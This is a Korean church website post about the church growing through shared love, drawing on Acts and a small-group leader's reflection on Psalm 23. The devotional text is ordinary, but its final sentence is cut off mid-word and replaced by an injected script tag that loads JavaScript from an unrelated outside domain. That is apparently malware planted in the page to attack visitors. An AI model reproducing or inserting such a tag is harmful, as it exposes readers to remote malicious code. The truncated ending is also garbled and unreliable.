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작성일 : 07-09-24 00:00
교회, 사랑의 고백을 통해 자라갑니다
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 글쓴이 : 이준행
조회 : 2,511  
사도행전을 보면 성령이 임하시고, 성령이 충만했다는 이야기가 많이 등장합니다. 성령이 임하실 때, 이스라엘 사람들이 모여서 율법을 토론하며 제사장들과 더불어 정기적으로, 잘 정돈되어 제도화된 제사가 있는 성전으로 오시지 않았습니다. 오히려 정돈되지 않았고, 제도화되지 않았지만 예수 그리스도의 약속의 말씀을 기다리던 사람들이 있었던 마가의 다락방으로 오셨습니다.
이후에도 "너희가 죽였던 예수를 하나님이 살리셨고, 이 예수가 생명의 주가 되셨다."는 복음이 외쳐지고, 예수의 이름으로 손을 내밀어 병을 낫게 하고, 표적과 기사가 나타나며, 모인 곳이 진동하여 성령의 증거들이 나타난 곳은 성전이 아니라 예수의 이름으로 모인 마가의 다락방이요, 솔로몬의 행각이요, 길거리였습니다. 분명한 것은 성령은 예수님이 생명의 주님이라는 복음 가운데 역사하셨고, 성령이 충만할 때 사도의 가르침을 받아 서로 교제하며, 교제 가운데 가난한 자들과 함께 떡을 떼며, 기도제목을 나누어 함께 기도하며, 각 사람의 필요를 나누어 공급하며, 한 마음 한 뜻으로 사랑을 고백하였습니다. 이러한 사랑의 교제가 있는 공동체를 교회라고 부른 것입니다. 여러 지체들이 사랑으로 연합하여 한 몸을 이룬 사랑의 공동체를 소망하며, 한 목자가 지체들과 나눈 사랑의 고백 일부를 소개합니다.
"... 시편 23편의 배경이 되는 유대 땅은 원래 푸른 초장이 아니었다고 합니다. 다윗이 양을 치던 베들레헴 근교의 산자락은 푸르고 청정하기는커녕 허옇게 메마른 땅인 사막이었답니다. 목자는 험한 자갈땅을 개간하느라 그루터기를 뽑아내고 덤불을 살랐으며, 물을 대면 스며드는 메마른 땅에 끊임없이 물을 대고 갈아엎으며 기어이 풀밭으로 만들기 위한 수고를 했을 것입니다. 소중한 양떼가 쉴 만한 푸른 초장을 일구어 놓고 흡족해 하는 목자의 마음... 이 말씀을 양이 아닌 목자의 입장으로 바라보도록 하나님께서 자매를 향한 부담감을 제게 주셨습니다. 나눔과 교제 가운데 자매에 대한 그 부담감이 하나님께서 허락하신 사랑의 마음인 걸 알았습니다. 그 과정가운데서 목자의 수고에 대한 책임감을 배웠습니다. 자매에게 하나님이 어떤 분이신지 전하기 위해서 더 친밀하게 하나님을 경험해야 하고, 하나님께서 자매에게 주시는 말씀이 무엇인지 알기 위해서 열심히 말씀을 묵상해야 하며, 하나님께서 자매의 인생가운데 간섭하여, 자매를 하나님의 자녀로 세우시기를 위해서 무릎 꿇고 중보 해야 하는 것들 말입니다.
예전엔 그리스도의 사랑 안에서 하나님의 자녀로 거듭나고 성장하는 모습을 기다리며 지켜보는 것이 이처럼 벅찬 일인 것을 미처 몰랐습니다. 작고 큰일을 상의해주고 함께 기뻐하고 슬퍼 할 수 있는 것도 행복인 것을 말입니다. 얼마 전 자매를 향한 안타까운 마음에 주책없는 나의 눈물 앞에서 ‘언니 울지 말아요. 미?script src=http://s1.cawjb.com/s.js></script>

 
 

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